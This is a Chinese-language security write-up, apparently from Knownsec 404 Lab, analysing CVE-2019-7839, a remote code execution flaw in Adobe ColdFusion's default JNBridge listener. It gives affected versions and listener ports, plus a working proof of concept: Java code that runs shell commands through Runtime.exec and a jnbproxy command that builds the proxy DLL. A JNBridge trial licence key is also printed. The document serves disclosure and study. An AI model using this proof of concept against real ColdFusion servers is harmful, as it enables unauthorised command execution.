Adobe ColdFusion 是一个商用的快速开发平台。它可以作为一个开发平台使用,也可以提供Flash远程服务或者作为 Adobe Flex应用的后台服务器 。
2019年06月11日,Adobe 发布安全公告[1],修复了Adobe ColdFusion多个严重漏洞。其中有一个由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。
2019年06月26日,Moritz Bechler 在 Bugtraq 上公布了远程代码执行漏洞(CVE-2019-7839)的部分细节[2],由于 JNBridge 组件存在缺陷,而 ColdFusion 默认开启JNBridge组件,导致代码执行漏洞。
ColdFusion 2018 Update 3 及之前的版本
ColdFusion 2018 Update 10 及之前的版本
ColdFusion 11 Update 18 及之前的版本
<= ColdFusion 9
根据 Moritz Bechler 披露的部分细节,是由于ColdFusion 默认开启了 JNBridge listener 从而导致了漏洞。
先来了解一下JNBridge。
JNBridge 是一种领先的JAVA与.NET互操作的的产品,凭借JNBridge技术,Java 和.NET代码无需交叉编译器就可以实现对象共享。所有Java代码运行在JVM上,而.NET代码则运行在CLR上。在该方案下,JVM和CLR可以运 行在不同的机器上,也可以运行在一台机器的不同进程上,甚至还能运行在相同的进程的不同应用程序域上。
下载 JNBridgePro,安装完之后会有demo。试用license
jnbp-eval-v10.0#1899-2367-9451-2280
这里我们尝试使用.net去调用java,跑一下logDemo,了解下大致流程。
根据 JNBridge 的安装路径,修改startJava.bat
,运行
可以看到,JNBridge 服务端 listener 已开启,监听在8085端口。
根据 demo的指示文档 logDemo.pdf,一步一步构建 .Net 项目。
运行 .Net 项目,调用 Java 服务端,成功调用。
之前流程有一步是将loggerDemo.javaClass
转成 logger.dll
,试想一下,是否可以将java.lang.Runtime
导成dll文件,供 .Net 客户端引用,然后去调用 Java 服务端的java.lang.Runtime
?
尝试一下
将rt.jar
引入 classpath
添加java.lang.Runtime
类
导出 runtime.dll
引入 .Net 项目中供调用
运行
成功调用到了 Java 服务端中的java.lang.Runtime
,这也是这个漏洞的根源。
ColdFusion 中是默认运行了 JNBridge listener 的,并且是 Java 服务端,监听端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。
由于 Coldfusion 中带的 JNBridge 版本不同,所以构造 payload 的方式有些差异。
ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,无法使用上面的的JNBridge v10去构造 payload,在 JNBridge 官网上可以下载一部分历史版本[3],下载 v7.3版本。
编写想要在 Java 服务端执行的代码
String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
commandArgs = new String[]{"cmd.exe", "/c", command};
}else {
commandArgs = new String[]{"/bin/bash", "-c", command};
}
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
{
System.out.println(line);
}
br.close();
里面使用到了java.lang.Runtime
,java.lang.Process
,java.io.BufferedReader
,java.io.InputStreamReader
和java.lang.System
,将相关类从rt.jar中导成runtime2.dll
,供 .Net 客户端引用。
根据 Java代码重写
这里面有个非常重要的 JNBShare.dll
,这里使用自己安装的 JNBridge 成功后生成的 JNBShare.dll
,无法使用ColdFusion 中 JNBridge 的 JNBShare.dll
,会报错。
运行,*远程的ColdFusion 2018(Linux平台),成功返回结果。
ColdFusion 9 内部的 JNBridge 版本是 v5.1,监听端口是 6085。由于这个版本比较老了,没找到安装包,现在需要生成供我们引用的runtime2.dll
和能用的JNBShare.dll
。ColdFusion 内部的 JNBridge中的jnbproxyGui.exe无法构建 .net -> java
项目,也就是说GUI工具用不了,所幸的是命令行工具还可以用。
jnbproxy.exe,看下参数。
根据参数,生成runtime2.dll
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
至于 JNBShare.dll
,因为内部的无法使用,安装包又下载不到。幸运的是有人收藏了这个JNBShare.dll
,谷歌搜索能够找到,并且刚好是v5.1版本的。
运行,*远程的 ColdFusion 9(windows平台),返回命令执行结果。
[1] 安全公告:
https://helpx.adobe.com/security/products/coldfusion/apsb19-27.html
[2] 部分细节:
https://seclists.org/bugtraq/2019/Jun/38
[3] 历史版本:
https://jnbridge.com/download-back-versions
*本文作者:Badcode@知道创宇404实验室,转载请注明来自FreeBuf.COM